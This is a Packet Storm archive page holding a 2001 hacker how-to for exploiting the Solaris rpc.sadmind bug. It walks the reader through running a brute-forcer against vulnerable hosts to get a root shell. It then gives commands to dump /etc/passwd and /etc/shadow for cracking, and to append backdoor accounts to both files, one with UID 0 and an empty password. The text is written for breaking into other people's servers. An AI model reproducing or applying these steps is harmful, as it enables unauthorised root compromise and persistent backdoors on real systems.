what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sadmind-howto.txt

sadmind-howto.txt
Posted Nov 22, 2001
Authored by Cyrax | Site members.antionline.com

Explanation of how to exploit the rpc.sadmind bug on Solaris.

tags | exploit
systems | solaris
SHA-256 | 39930a280c144ab14cfd240d0a929369a2f7e68dfed059b8f4c01fda84a4ba71

sadmind-howto.txt

Change Mirror Download
rpc.sadmind (27/02/2000)
------------------------

The bug rpc.sadmind has been reported a long time ago. But there has never
been a manual for it. So i decided to explain how to exploit the bug.
First of all i would recommend to use the sadmind brute forcer for the
sploit files sadmindex-sparc.c and sadmindex-x86.c , you can find the
brute forcer at https://packetstormsecurity.org . Search for sadmind
brute forcer and the file samdind-brute-lux.c will be the first file
you'll see...
You compile the brute forcer in the same directory as the sploit
files.
Run the brute forcer like this :
./sadmind-brute-force <arch> <host>
If you don't know what <arch> is then you do ./sadmind-brute-lux
You'll understand now =)
When you have found a vulnerable host (you can scan for RPC stuff with RPC-
scanners LOL) you do this for example
./sadmind-brute-force 1 www.sadmindvulnhost.com

If you're dropped to a rootshell now, the host is vulnerable for real.
Otherwise, the host is patched.

Now you're dropped to the rootshell you have 2 easy ways to exploit the
rpc.sadmind bug.
The first way, this is kinda lame, is that you view the /etc/passwd
(or the /etc/shadow ofcourse) and then crack the password file with
a password-cracker like John The Ripper --> this can take years !
You view the /etc/passwd like this
cat /etc/passwd;
The ; must be added ! If ya type cat /etc/passwd the server will recognize
this command as
cat /etc/passwd^m

The second way to exploit the bug is a lot faster then the first one.
Here we simply add two users, one with root privileges ofcourse...
This example is for a host with /etc/shadow !
Type this at the rootshell :

echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax:::::: >> /etc/shadow;
echo cyrax2:::::: >> /etc/shadow;

Dont use > instead of >>, >> adds a line, > overwrites !
Replace UID and GID by 666 for example but NOT by 0
After you typed this, there will be added two users to the server :
cyrax and cyrax2
You login with the non-root user, cyrax, and then do su cyrax2
and set the password for the users ...
Now you have root access to the server...

Written by : CyRaX (cyrax@antionline.org)
https://members.antionline.com/cyrax
Special thanks to : nostalg1c
greet[z] : kemX, Cheitan, guppy, |llus|0{\}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close